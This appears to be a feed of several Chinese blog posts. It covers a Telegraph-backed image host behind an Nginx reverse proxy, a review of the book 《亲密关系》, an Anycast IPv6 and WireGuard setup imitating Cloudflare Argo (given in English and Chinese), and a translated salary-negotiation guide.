或许以后慢慢老去,越过山丘,才发现无人等候。喋喋不休,再也唤不回温柔。在缓慢被锤的日子里,希望还可以常回忆年少时的勇气。
]]>这大概是我写的最短的一篇博文
本来其实不值得一写的,不过感觉太好玩了决定还是放在自己的博客上记录一下,当时和好朋友 Keshane 一起玩的一个好玩的东西。
是这样的,Telegram 有一个服务叫——Telegraph,非常像许久之前和 Keshane 筹划准备做(但是由于各种原因买了个很好的域名之后又被鸽了)的应用,几个月前的某一天在和 Keshane 一起摸鱼的时候偶然发现这个站的图片上传接口是开放且非常简易的,简单来说,只要如下发一个 POST 请求到 https://telegra.ph/upload,然后带上一个 file 字段,名字叫 file 就好了,然后就可以得到类似如下返回:
[
{
"src": "/file/a672a2690e15c7d86435d.jpg"
}
]
那图片地址就会是:https://telegra.ph/file/a672a2690e15c7d86435d.jpg 了,很容易是不是?
下一步的想法就非常自然了,因为 https://telegra.ph 在国内属于无法访问的情况,所以弄一个 Nginx 的反向代理就非常容易,我们简单包装一下(假设使用 i.nova.moe):
server {
listen 80;
server_name i.nova.moe;
location /intake {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
if ($request_method = 'OPTIONS') {
return 204;
}
proxy_pass https://telegra.ph/upload;
}
location /{
proxy_pass https://telegra.ph/file/;
}
client_max_body_size 5m;
}
非常简单,之前 POST 地址为 /upload ,新的 POST 地址为 i.nova.moe/intake,然后下一步就是封装一个看上去靠谱的 Web 前端了,这一点全栈工程师 Keshane 非常熟悉,加上提示了个 Dropzonejs,很快,就有了如下界面:

还能异步上传文件:

看,是不是像那么回事了?
我们做了什么?
这么做有什么问题?
在测试 OK 之后我们便关闭了这个站点,但是这样真的很好玩不是嘛?
]]>个人认为,无论是否处于亲密关系中的人都可以看这本书,不过如果自己深陷“情感困境”,本书的部分相关章节也可以作为一个紧急的 Crash Course 来参考。
在开始本文前我尝试过搜索相关书评,无奈主要看到的大量的摘抄(那叫书抄)或是只言片语的评价,可能如我所认识和推荐的人一样,即使是处于亲密关系中的人也非常相信自己的「感觉」和「认知」,并对于相关的研究和实验抱有无视的态度(虽然我承认同名的另一本的确写的没啥看头),当然,也有可能是大家都“太忙”了,没有时间和毅力看的一个托词罢了,当然,对于亲密关系而言其实也是一样:「由于自我服务偏差,会使人们高估自己在人际关系中的积极作用而低估在消极关系中的损失」。
《亲密关系》吸引我的一个点在于它在很大程度上满足了一个实验求实的过程,书中作者不仅反对畅销的民科心理学《男人来自火星女人来自金星》,还在许多案例中保持了:问题/假设的得出—研究对象即参与者的选取—研究设计—场景选择—数据收集—结果整合的一个严谨的模式,此外,如果有兴趣的读者观察过书中的参考资料也会发现,每个章节都有大量的参考资料可以查阅和援引,可见所有结论的提出都并非空穴来风,同时作者给出了一个人际关系学的考察模型:
简单来说,远远不只是通过看一个个段子一般的主观表达带来的乐趣,而是带领读者重新思考自己周边的一些案例。
任何普遍的心理机制之所以以它目前的形式存在,是因为它一直在帮助人类解决过去的生存或繁殖问题。 ——《亲密关系》 P32
如 ZhiHu 某次宣传用语所说:「我们都是有问题的人」,读完本书后最大的收获就是在有实验数据支撑而非观察少量他人分享案例的情况下理解了一些之前没有想清楚过的问题,在此与大家分享:
在阅读本书之前,可能和大多数人一样,认为所谓的「亲密关系」就是所谓的「恋爱关系」,大家做着差不多的事情(拥抱,接吻等),但在本书中对于「亲密关系」有了一个更加多方面的理解。
我们知道,中国的人口生育政策有过一个比较大的调整,虽然在 1982 年后实行了多年的计划生育政策,在许多有过农村地区生活经验的读者可能会发现许多家庭还是会生育不止一子,并在许多时候保持了一个“丈夫在外工作妻子在家带娃”的情景,撇开双方工作时对于子女的教育不谈,这里只考虑两种情况下对于家庭情况和双方关系的影响。
在本书的的第六章中引入了一个被成为 CL(comparison level)和 CL alt(comparison level for alternative)的指标,大意如下:
相互依赖理论假定每个人都有一个与众不同的比较水平(comparison level,简写为CL),即我们认为自己在与他人的交往中应当得到的结果值。CL 是建立在过去经验的基础上的。它是测量我们对关系满意程度的标准。
亲密关系中的满意度并不仅仅取决于交往结果绝对意义上的好坏,相反,满意度来自交往结果和比较水平之差,即:满意度 = 结果 — CL
相互依赖理论的另一个重要假设是,满意度并不是唯一的、甚至也不是决定亲密关系持续与否的最主要的影响因素。无论我们是否乐意,我们都会用到第二个标准,即替代的比较水平(comparison level for alternative,CLalt),来确定我们在其他的亲密关系中是否会更好。CLalt 是指如果我们抛弃目前的亲密关系,而转投可以选择的更好的伴侣或情境,所能得到的交往结果。所以,CLalt 决定了我们对亲密关系的依赖程度。依赖度 = 结果 - CLalt
从上文的模型中,我们可以很快的了解到,如果丈夫在外工作妻子在家带娃会有以下问题:
首先双方收入不平衡带来的显式的不平等,这样将可能带来权利分配的不一(显然,有收入者掌握了更大话语权),来源是 《亲密关系》P377,同时可以参考书的第 12 章。
此外,在外工作的一方会有更大的概率接触到更为优秀的 “替代对象”(CLalt 便会上升),而未工作的一方则没有相关的机会。而正因为未工作的一方消息来源会受到一些限制,从书中结合到我个人的观察来看,还会导致以下后果:
由于这个社会是娱乐化的(见《娱乐致死》),由于未参加工作,平均工作量的下降导致了空闲时间的增多,大量的低价值信息(比如 WeChat 某些公众号)的涌入,加上各类短小视频的垃圾(但是可以有效吸引人们注意力的)内容便容易占据空闲时间,让其陷入心里舒适区——对外表现出来的也就是坐在沙发上长时间关注各类无聊资讯。
此外,还是由于以上原因,对于已工作的一方,由于可以确定的 CL alt 的增加,未工作者更加容易产生一些相关的怀疑和猜忌——也就是我们看到的所谓 “查岗” 的行为。
从周边的观察来看,“查岗” 这一点在学生时期似乎尤为常见,相关的表现形式为:共享 QQ/微信密码之类,见到因为和对方吵架而劫持对方 QQ 号删好友的比比皆是…
而且这种由 CL 和 CLalt 所带来的第一副作用具有 “遗传性”,具有相关特性的父母的子女也有可能习得相关的 “做事习惯”,这样易造成对下一代的不良影响。
另一个从本书中看到的比较有收获的在于对「疑虑型人」的描述,一般来说在伴侣双方适配的差距下,且尤其是处于弱势的伴侣变有可能有如下认为:
以下是一些简要的摘抄:
如果人们处于紧张状态,只要心中能想到支持自己的朋友,一般就能降低心率和血压。
一般而言,拒绝会使人进入心理倦怠状态,阻碍人们进行缜密的思维和理性的计划。
人们喜好新异和兴奋,过分呆板僵化的可预测性会使爱情变得平庸和单调。
大的动乱和剧变后可能会因为迫于分开的压力,而使双方重新思考他们的习惯,以达到结构性改善的效果。
以上,便是个人一些对于《亲密关系》一书的小结,由于撰写本文后半部时,已经将书赠予他人,可能会有一些细节上的遗忘,导致了文章的单调性,这一点请读者谅解。
个人感觉本书带给我的严谨的态度是最吸引我的一点,同时我也相信在阅读过本书后,书中的一些知识可以在未来有所需要的时候给予我一些理论上的支持和帮助。
When a person is poor, they come up with many clever ideas.
As you may know, this blog primarily uses Cloudflare as a CDN, which allows us to configure some Page Rules to reduce the load on the origin server, as well as hide the origin server’s address. Additionally, Cloudflare provides DDoS protection.
We know that DDoS attacks, as a rather dirty method, are not easily defended against in principle. They can mostly be addressed by upgrading hardware and increasing bandwidth. However, Cloudflare’s approach to handling DDoS attacks is quite unique. Part of the reason is that their edge node IP addresses are Anycast IPs. You might be wondering, what is an Anycast IP?
In simple terms, it means that the same IP address exists in various locations around the world, and hosts from around the world access the nearest (lowest latency) host that announces that same IP.
After learning about computer networks, we understand a simple principle: “IP addresses are unique addresses for hosts on the Internet.” When we “ping an IP address of a host in the United States,” ICMP packets go through routing protocols and various routes, eventually reaching the destination host. Much of the network latency incurred in this process is due to distance, or in other words, due to the limitation imposed by the speed of light. Therefore, there will inevitably be over 100ms of latency between China and the United States. For example, the latency to reach a Vultr data center in Japan from various parts of the world might be as follows:

But if you are a Cloudflare customer, you might notice that the latency to your site is like this:

Do you notice that the latency to the same IP address from many cities is very low? This is the charm of Anycast. If you want to learn more about Cloudflare Anycast, you can refer to A Brief Primer on Anycast and What is Anycast? How does Anycast Work?.
Thanks to the Anycast network and our foundation in “computer network basics,” even DDoS attacks follow the basic rules. So, the DDoS attack pattern changes from multiple points to one point, and it becomes multiple points to multiple points. This way, the traffic is distributed, and the load on each node is greatly reduced.
With the knowledge mentioned above, it’s easy to think about one question: How does Cloudflare perform origin fetching with so many IP addresses? From the article “A Brief Primer on Cloudflare Warp and Whether It Exposes Visitor’s Real IP,” we can draw the following two conclusions:
If these two conclusions are hard to grasp, let’s simplify with two conditions. Suppose my blog is in France (let’s say it resolves to origin.nova.moe), and you are a visitor from mainland China. Suppose Cloudflare uses Nginx in the current network environment:
proxy_pass https://origin.nova.moe;. It’s simple, right? But this is “public network fetching.”proxy_pass https://origin.nova.moe;.With Argo enabled, because origin fetching traffic takes a significant part of the route through Cloudflare’s various public network tunnels, the routing path should be more controlled by Cloudflare. In some cases, this can reduce detours, and in simple terms, the speed should be faster. Cloudflare’s official promotional image is as follows:

For more detailed comparisons of Argo, you can refer to Guo Zeyu’s “Cloudflare Argo vs. Railgun Comparative Testing, CDN Acceleration Technology.”
With Cloudflare for free users being “public network fetching” and understanding how Argo works, you might wonder: Can I build something similar myself?
Continuing with the previous example, my blog is in France, and mainland Chinese visitors access Cloudflare, which results in “public network fetching” from the western United States to France. If you happen to have a machine in the western United States, you can consider establishing a tunnel from the western United States to France. Then, configure the traffic from the western United States to be reverse proxied to the other end of the tunnel on your machine in the western United States. This achieves a similar effect.
The first problem we need to solve is: How to get Cloudflare’s traffic into your network as quickly as possible.
Consider a scenario where we have an origin server in France (A) and two servers in the United States and the Netherlands (B and C). We configure B and C to reverse proxy to A and add two Cloudflare A records for resolution (with CDN enabled) to the IP addresses of B and C. Will this work?
The answer is no because, from a DNS perspective, it appears as though there are two resolutions, but the weights of these two resolutions do not change with changing source IP addresses. Therefore, it is still possible for a mainland Chinese visitor to access the San Jose node and resolve to C, resulting in public network fetching from the Netherlands.
So, how can we ensure that traffic enters our network as quickly as possible? The answer is Anycast.
We still have the origin server in France (A) and two servers in the United States and the Netherlands (B and C). Both B and C announce the same IP address (let’s assume it’s 10.10.10.10). Now, we only need to add an A record resolution (with CDN enabled) to 10.10.10.10.
Since Cloudflare’s origin servers are also standard servers that follow basic routing rules, when a mainland Chinese visitor accesses the San Jose node, it will directly reverse proxy to the IP address 10.10.10.10. However, because this IP is also announced in the western United States, the packets will be routed to the server located in the western United States, effectively entering our network.
As a “prem
ier CDN service provider” for Halo (just kidding), I have my own ASN and a small block of IPv6 addresses. In the first experiment, I announced the same IPv6 address (xxxx:xxxx:xxxx::1, don’t ask why it looks so strange, I wonder too) in the western United States and the Netherlands. The latency to this IP address appears as follows:

From the graph, we can see that the latency in San Francisco and Amsterdam is approximately 2.4 ms and 1.7 ms, respectively. So, we can consider this a successful Anycast.
Next, with the support of the global intranet established by Wireguard, all three hosts (A, B, and C) are on the same 192.168.1.0/24 internal network. These three hosts can directly ping each other, and the corresponding latency is as follows:
B -> A (United States -> France) (I don’t know why the first packet always has a small delay, hoping readers can point it out.)
root@B:~# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=308 ms
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=153 ms
64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=153 ms
64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=153 ms
64 bytes from 192.168.1.5: icmp_seq=5 ttl=64 time=153 ms
^C
--- 192.168.1.5 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 153.089/184.173/308.162/61.996 ms
C -> A (Netherlands -> France)
root@C:~# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=1.28 ms
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=1.17 ms
64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=1.32 ms
64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=1.31 ms
^C
--- 192.168.1.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 1.176/1.274/1.327/0.068 ms
Now, we just need to share the Nginx configuration files between B and C. For now, we’re using NFS for sharing. The proxy_pass part of the configuration looks something like this:
location / {
proxy_pass https://192.168.1.5;
proxy_set_header Host $host;
}
Finally, for the Cloudflare part, create a AAAA record that doesn’t enable CDN, such as secret.nova.moe, pointing to your own IPv6 address.

Then, create a corresponding CNAME record, such as halo.nova.moe, resolving to secret.nova.moe, and enable CDN.

This way, you can allow IPv4 users to access your IPv6 site and still utilize Cloudflare’s CDN. This operation is truly magical.
Here’s a rough network diagram:

Mainly, it’s for fun. Secondarily, as a “premier CDN service provider” for Halo (just kidding again), you can see from the Halo JAR package mirror I host that the TTFB (Time to First Byte) has decreased by an average of around 40%.
Before Anycast:

After implementing Anycast:

As for why the TTFB is still quite high, I suspect it’s related to DigitalOcean’s Spaces. Let’s focus on the improvement in comparison.
In this article, we used Anycast IPv6 to allow more traffic to enter “our network,” where we have more control and room for operation on our PoP. This creates an effect similar to Argo.
A not-so-appropriate example: Imagine that in the original situation, there are a large number of people worldwide downloading/uploading from their machines, and the traffic far exceeds the service provider’s 200Mbps (assuming). Cloudflare can easily forward traffic, but with only one origin server, there can be bandwidth problems. In this situation, having multiple PoPs allows us to fetch from other origin servers we control, reducing the load on a single origin server. Of course, in such a situation, the best solution is to use load balancing and upgrade the bandwidth.
人一穷,鬼点子就特别多。
大家应该知道,本博客使用了 Cloudflare 作为主要的 CDN,可以配置一些 Page Rules 来减轻源站压力,同时隐藏源站地址啥的,此外,Cloudflare 还可以做到防止 DDoS 的效果。
我们知道,DDoS 作为一个比较 dirty 的攻击手段,从原理上其实并不是很好防御,基本只能通过升级硬件,加大带宽的方式处理,而 Cloudflare 处理 DDoS 的方式比较特别,部分原因是因为他们的边缘节点 IP 是 Anycast IP,这里可能有同学会问了,什么是 Anycast IP?
简单来说,就是同一个 IP 出现在了世界各地,世界各地的主机都是访问到了离自己最近(延迟最低)的主机所宣告的那个相同 IP。
在我们学习了计算机网络之后,我们知道了一个比较容易理解的道理:「IP 地址在互联网上是一台主机唯一的地址」,这样当我们「ping 美国一台主机的 IP」的时候,ICMP 包会通过路由协议,走各种线路,最终到达目的主机,而其中产生的网络延迟很大一部分就是由于距离所导致的,或者说,由于光速也就那样了,所以中美之间肯定会有 100+ms 的延迟,例如,从世界各地到达日本 Vultr 机房的延迟可能如下:

但是如果你是 Cloudflare 的客户的话,你可能会发现追踪到你站点的延迟如下:

是不是发现许多城市到达同一个 IP 的延迟都非常低?这个就是 Anycast 的魅力了,想要了解更多关于 Cloudflare Anycast 的细节,可以参考 A Brief Primer on Anycast 和 What is Anycast? How does Anycast Work?。
由于有了 Anycast 网络和「计算机网络基础」的铺垫,即使是 DDoS 的攻击,数据包的行径也是要根据基本法,所以 DDoS 的模式从之前的多点对一点变成了多点对多点,这样流量就被分散掉了,每个节点上的压力就会小了很多。
在有了上述知识铺垫之后我们很容易就可以想到一个问题——Cloudflare 有那么多的 IP,那么它是如何回源的,从 「关于 Cloudflare Warp 的一些细节以及是否暴露访客真实 IP 的测试」一文中我们可以知道以下两个结论:
如果上述两个结论不好理解的话,我们带入两个条件来方便大家理解,假设我的博客在法国(假设解析为 origin.nova.moe),你是一个大陆访客,假设 Cloudflare 使用的 Nginx,在目前网络环境下:
proxy_pass https://origin.nova.moe; 了,很简单是不是?但是这样就是「公网回源」proxy_pass https://origin.nova.moe;开了 Argo 之后由于回源流量会有很大一段不经过公网(而是 Cloudflare 的各种公网隧道),所以理论上说路由路径更多地受到 Cloudflare 管控,在某些时候可以减少绕路,简单来说,速度应该会快一些,Cloudflare 官方宣传图如下:

更多详细的 Argo 对比可以参考郭泽宇的「Cloudflare Argo 与 Railgun 对比测试,CDN 加速的黑科技」。
我们知道 Cloudflare 对于免费用户来说是公网回源,同时知道 Argo 的工作原理之后,就会想到一个问题——我能不能自己建立一个类似的玩意呢?
还是刚刚那个例子,我的博客在法国,大陆用户访问 Cloudflare 之后会从美西公网回源到法国,如果你正好有一个美西的机器,就可以考虑建立一个美西到法国的隧道,然后考虑让美西的流量走到自己美西的机器上反代隧道另一端的主机,也就做到了类似的效果。
我们要解决的第一个问题是:如何让 Cloudflare 的流量尽快进入自己的网络。
考虑一个情况,我们有源站法国 A,和两台分别位于美国,荷兰的主机 B、C,在 B 和 C 上配置反向代理到 A,并且添加两个 Cloudflare A 记录解析(并开启 CDN)到 B、C 主机的 IP 是否可以?
答案是不可以,因为 DNS 层面看上去有两条解析,但是这两条解析的权重并不会随着来源 IP 的改变而改变,所以还是有可能会出现大陆访客访问到 San Jose 节点后正好解析到了 C 主机,公网回源到位于荷兰的 C 主机后 C 主机回源 A 的情况发生。
如何保证流量尽快进入自己的网络呢?答案就是 Anycast。
我们还是有法国源站 A,和两台分别位于美国,荷兰的主机 B、C,且 B、C 宣告了相同的 IP 地址(假设为 10.10.10.10),这时,我们只需要添加一个 A 记录解析(并且开启 CDN)到 10.10.10.10 就可以了。
由于 Cloudflare 回源的机器也是一台很正常的服务器(路由也遵循基本法),这样当大陆访客访问到 San Jose 节点的时候,他会直接反向代理到对应 IP 10.10.10.10 ,但是由于这个 IP 在美西也进行了宣告,所以数据包会被路由到位于美西的主机上,也就做到了进入了自己的网络的情况。
作为 Halo 的金牌 CDN 服务商,我自己持有一个 ASN 和一小段 IPv6 地址,在第一次实验中,我在美西和荷兰两个地方宣告了同一个 IPv6 地址(xxxx:xxxx:xxxx::1,别问这 IP 为啥看上去这么奇怪,我也是这么认为的),所以在延迟上,这个 IP 看上去是这样的:

从图中我们可以看到,在 San Francisco 和 Amsterdam 两点的延迟分别为:2.4 ms 和 1.7 ms,所以我们可以认为这是一个成功的 Anycast。
接下来,在由 Wireguard 建立起来的全球大内网的加持下,A,B,C 三台主机全部位于一个 192.168.1.0/24 的内网下,三台主机之间可以直接 ping 通,对应延迟如下:
B -> A(美西 -> 法国)(不知道为啥第一个包总是抖一下,还望读者指出)
root@B:~# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=308 ms
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=153 ms
64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=153 ms
64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=153 ms
64 bytes from 192.168.1.5: icmp_seq=5 ttl=64 time=153 ms
^C
--- 192.168.1.5 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 153.089/184.173/308.162/61.996 ms
C -> A (荷兰 -> 法国)
root@C:~# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=1.28 ms
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=1.17 ms
64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=1.32 ms
64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=1.31 ms
^C
--- 192.168.1.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 1.176/1.274/1.327/0.068 ms
好了,接下来就在 B 和 C 上共享一波 Nginx 配置文件就好了,暂时使用的 NFS 的方式共享,proxy_pass 部分内容最简写法大致如下:
location /{
proxy_pass https://192.168.1.5;
proxy_set_header Host $host;
}
最后 Cloudflare 部分我们这样做,先创建一个不开启 CDN 的 AAAA 解析,比如叫 secret.nova.moe 到自己的 IPv6 地址。

然后创建对应的 CNAME 解析,比如 halo.nova.moe 解析到 secret.nova.moe 并开启 CDN。

这样既可以让 IPv4 用户访问到自己的 IPv6 站点,还可以使用到 Cloudflare 的 CDN,这个操作真的很神奇~
最后网络结构图大概如下:

主要是好玩,其次,作为 Halo 的金牌 CDN 服务商,从我托管的 Halo JAR 包镜像中可以看出,TTFB 平均减少了 40% 左右。
在这样之前,公网回源法国:

在有了 Anycast 之后:

至于为啥 TTFB 都很大,我怀疑这个与 DigitalOcean 的 Space 有关,我们只看对比差距就是了。
在本文中,我们使用 Anycast IPv6 来实现让更多的流量进入「自己的网络」,然后在我们的 PoP 上可以有更多的限制和操作的空间,形成了一个类似 Argo 的效果。
一个不恰当的例子:试想,在原始的情况下,在世界各地都有大量的人从自己的机器上下载/上传,流量远大于服务商的 200Mbps(假设),Cloudflare 倒是可以很轻易地将流量转发过来,但是在只有一个源站的情况下,就会在带宽上出现问题,这个时候我们多个 PoP 就可以回源到自己的其他源站上,减少一个源站收到的压力。当然了,都这种时候了最佳方案其实还是加 LB 和升级带宽啦。
所以你已经搞定了面试那一块。你已经和其他公司的对手进行了竞争。现在是进入实质谈 Offer 的时候了。
自然,接下来也是是最容易出差错的部分。
但是不要慌张,接下去我要谈论最后几个法则,诸位请听我一言。
大多数人认为谈薪资很容易,只是看着对方的眼睛,表现得自信,然后开口要很多的钱就好了。但做一个好的谈判者要比这微妙的多。
好的谈判者是怎样的?
你可能有一个朋友或家人,因为拒绝妥协而臭名昭著。这样的人会打开淘宝,为了自己刚买的衣服上的一个线头和卖家争吵很长时间,直到他们得到一笔退款或者退货。
这个人似乎经常得到他们想要的东西。他们让你畏缩,但也许你应该试着更像他们。
放心吧,这个人实际上是一个糟糕的谈判者。他们擅长于困难和场景,有时可以说服女服务员或轮班经理来安抚他们。但这种谈判风格会让你在与商业伙伴 (即雇主) 谈判时一无所获。
一个好的谈判者具有同理心。他们不会试图控制你或逼你做决定。相反,他们试图创造性地思考如何满足你和他们的需求。
所以当你有一个 Offer 并准备开始谈薪资的时候,不要把这个想象成在出售自己的二手车那样和别人讨价还价,而是应该像和朋友一起出去吃饭那样讨论,这样会变得更好。
好的谈判者和坏的谈判者之间另一个重要区别是,糟糕的谈判者倾向于认为谈判是一场零和博弈。
想象一下,我们正在协商切蛋糕。在零和谈判中,如果我多得到一块,你就少了一块。我赚的任何一笔钱都是以你的损失为代价的。
这在切蛋糕上很明显,对吧?但是谈 Offer 和切蛋糕之间的区别是什么呢?
啊,其实切蛋糕不是这样的(零和博弈)。如果我讨厌角落的渣渣,你会喜欢他们么?如果我喜欢樱桃呢?如果下次我饱了,你饿了,你会同意下次给我吃我最喜欢的蛋糕吗?当然,当我提出这个问题时,我没有提到任何关于樱桃或角落那块渣渣的感觉。这看起来好像是我编造出来的。
但这正是好的谈判者所做的。他们弯曲规则。他们质疑假设,问一些意想不到的问题。他们挖掘每个人的价值观,寻找创造性的方法来拓宽谈判的领域。
当你在思考如何在切片上讨价还价的时候,我正在考虑如何给我们两个以上的蛋糕。
谈判中的几乎每个部分都有其对应的价值。我们可能会珍视同样的东西 —— 毕竟我们都关心蛋糕。但我们并不以完全相同的方式来评价他们,所以可能有一种方法可以给我们每个人更多的我们想要的。
大多数人参加工作谈判时,认为他们需要在薪水上顽固地讨价还价,就像蛋糕一样。他们永远不会停下来问,我到底值多少钱?我为什么看重它?公司的价值是什么?为什么他们重视这个?谈 Offer 包括很多方面:
你可以选择你被分配到哪个团队,你的第一个项目是什么,你将使用什么技术,有时甚至选择你的职位(定级)。
可能你是一个喜欢吃甜品的人,公司这个蛋糕可以给你提供更多的樱桃,如果你不问的话可能就永远不知道。
保持这样的想法,OK。
让我们来决定离开谈判桌。反正所有的报价都摆在这里了,招聘人员会急切地等着你的回复。
让我们开始谈薪资吧。
你的第一个决定是,你想通过邮件还是电话谈?
在电话里交谈不仅能显示出你的自信,更重要的是,它能让你和招聘人员建立起牢固的关系。
最好的交易是在朋友间达成的。通过电子邮件交朋友很难,在电话里交谈可以让人开玩笑,讲笑话,建立联系。你希望你的招聘人员喜欢你,理解你,同情你。你希望他们希望你成功。同样,你也要关心你的招聘人员,了解他们的动机。
然而,如果你对自己的谈判技巧没有信心,你应该努力把谈判引向电子邮件。书面的,异步的交流将给你更多的时间来制定战略,让你更容易在不被招聘人员的压力下说你不愿意说的,或者作出你不愿意的决定。
话虽如此,招聘人员总喜欢打电话给你。这是他们的地盘。他们也很清楚,用电话和你谈 Offer 比电子邮件更容易,而且他们也并不想让你放松。他们通常会对电子邮件的报价含糊其辞,只会在电话上讨论具体细节。
如果你坚持想要通电子邮件,你必须告诉他们。这并没有什么不可以的:诚实地表达你想要什么。
告诉他们:
Hi HR,你好! 我更喜欢在邮件中讨论 Offer 的细节。在重要的电话中,我有时会感到紧张,所以通过电子邮件讨论有助于我保持清醒的头脑,更清晰地沟通。我希望你能接受。:)
简洁明了,没有废话,也没有客套。直截且诚实地表达你想要什么。
诚实和坦率有巨大的力量。利用它。
(另外,注意我是如何写 “讨论 Offer 的细节” 而不是 “谈判”。永远不要把你所做的事情描述为谈判 —— 这听起来很快就会发生对抗和讨价还价。把它描述为一场讨论吧,这样他们不太可能退却。)
有替代方案
我之前提到过,多拿 Offer 是多么重要。我再一次重申,有多个 Offer 是非常非常有价值的。
如果你们没有谈成,他们知道你会接受另一个 Offer。你的谈判立场突然变得更加可信,因为他们知道你并不一定会接受他们的 Offer。
如果你拿到一家有声望的公司的 Offer,这种效果会得到加强。如果你从一家公司的主要竞争对手那里得到了一个 Offer (那现在他们可能真的很想从这个大的竞争对手那里挖走你),那么这种影响就会自然而然的发生。
有些行为是愚蠢的部落主义。在试图抢夺竞争对手的人才方面,其中的一些是理性的。不管是哪一种,都要充分利用它,并在你所瞄准的公司中采取战术。
但是,如果你手上并没有其他的 Offer 的话该怎么办呢?难道完全没有谈的余地的吗?
不。这里重要的并不是其他 Offer。更具体地说,你需要的是其他强大的备选方案。
谈 Offer 需要筹码。如果没有风险并且你知道对方会签合同,你会用什么来激励来他们会你提供更多?
你的替代 Offer 就是你谈判的筹码。通过暗示你有别的备选方案,你就让你的对话者建立一个关于何时以及为什么你可能会不接他们 Offer 的心理模型。你的选择也会对对方对你的客观价值有一个锚定效应。(比如有些 HR 可能会问:目前手里几个 Offer 了,他们开的价格是多少?)
在谈判艺术中,你最好的备选方案通常被称为你的 BATNA (最好的替代协议,Best Alternative to a Negotiated Agreement)。也就是说,如果你没有接受这个 Offer 的话会做什么。
我很喜欢 “BATNA” 这个词,主要是因为它听起来像一个小玩意,就像蝙蝠侠会在吊打坏人的时候使用。
那么,如果你没有其他的 Offer,你的 BATNA 是什么?你有吗?你当然有。你最好的选择可能是:
这里的重点是,一个强大的 BATNA 并不一定需要另一个 Offer 来达到,你的 BATNA 力量来自于:
如果你的招聘人员认为读研究生是一件了不起的事情,那么他们会认为你有很强的选择,而且谈判的风险也会增加。即使他们认为研究生院很荒谬 —— 但是如果你说服他们你很乐意去读研究生,那么他们就会尝试让他们的 Offer 对你更有吸引力,而不是放弃你,让你去读研。
因此,你需要传达你的 BATNA。这不一定是一记空手而已,但您需要将其作为谈判的背景。 (注意:通常每当你对他们发出信号,你也应该重新强调你有兴趣达成协议)。
举个栗子:
目前我手里还有另一份来自 XX 司的 offer,这对薪水很有吸引力,但我真的很喜欢贵司的使命,认为这对我来说是一个更好的选择。
同时我还在考虑是否要回去读研,获得硕士学位。我对贵司给的 Offer 感到很兴奋,尽管我很想加入这个团队,但如果我要放弃旧的生活重新开始,我的选择必须得有意义。
请注意:我在这里看到的最大的错误之一,就是那些正在工作的人以为自己没有 BATNA。如果你已经有了一份工作,你最大的 BATNA 就是待在目前的公司。
这也就意味着如果你告诉你 HR 说你讨厌你的工作,那么他们会知道你的 BATNA 很糟糕,而且没有动力去和你谈 (基于他们认为你是一个消极的人的基础上)。所以,必须总是强调你当前公司的优点,你的资历,你的影响力,以及你目前工作的其他方面。
你应该让你的决定看起来像一个真正困难的决定 —— 然后它将看起来才会是一个强大的 BATNA。
我一直在说,为了成为一个有效的谈判者,你需要了解对方。所以让我们来看看作为一个雇主,谈 Offer 是什么样的。(在我的例子中,我将不得用软件行业举例子,但细节会因行业而异。)
首先我们来看一下公司为了找到一个合适的候选人,前期投入是什么:
以上统计来源是:What is the average cost of recruiting an engineer in Silicon Valley?
整个过程从开始到结束大约需要 45 天。
现在说你最终拒绝了他们的 Offer。他们花了超过 24000 美元,只是把这个 Offer 给了你 (更不用说机会成本了),现在他们基本上要从头开始了。
如果你拒绝了,这就是公司面临的问题。
意识到他们经历了多么大的挑战!意识到你对他们来说是多么的重要!
通过查阅,筛选了那么多份简历和邮件,花了那么长时间,他们终于发现你就是他们想要的。他们想让你进入他们的公司。他们废了那么多口舌把你弄到这儿来,现在他们找到你了。
你会担心如果你谈 Offer 的时候他们会把你拒了?
此外,你需要明白,薪水只是雇佣你的成本的一部分。雇主还必须支付你的福利,你的设备,办公室开支,还有其他的随机开支,以及所有这些的雇佣税。全部的,你的实际工资通常包括少于 50% 的雇佣成本。
这意味着他们期望你对公司的价值 —— 从你的产出来看 —— 要超过了你的工资的两倍。如果他们不相信这一点,那他们根本就不会雇用你。
所以,这就是说:其实所有的一切都对你有利。虽然可能你感觉不是这样,但事实绝对是这样。
你需要意识到,当你在苦苦挣扎是否要再每个月多要几千美元时,他们只是在祈祷,宝贝,赶紧把 Offer 签了吧。
如果你不签,他们就输了。损失一个好的人选会很心塞。没人愿意去相信他们的公司不值得加入。
他们想要赢。他们会为了得到你而去支付他们所能支付的。
当然,你可能还会担心:如果最后我去要了更多,会不会提高他们的期望,未来老板会不会恨我讨价还价?
当然不会!
你的岗位决定了你的业绩(产出),这一点不是你的工资决定的,多要或者少要 5K 对于你上司来说根本不重要,他们也完全不在乎。
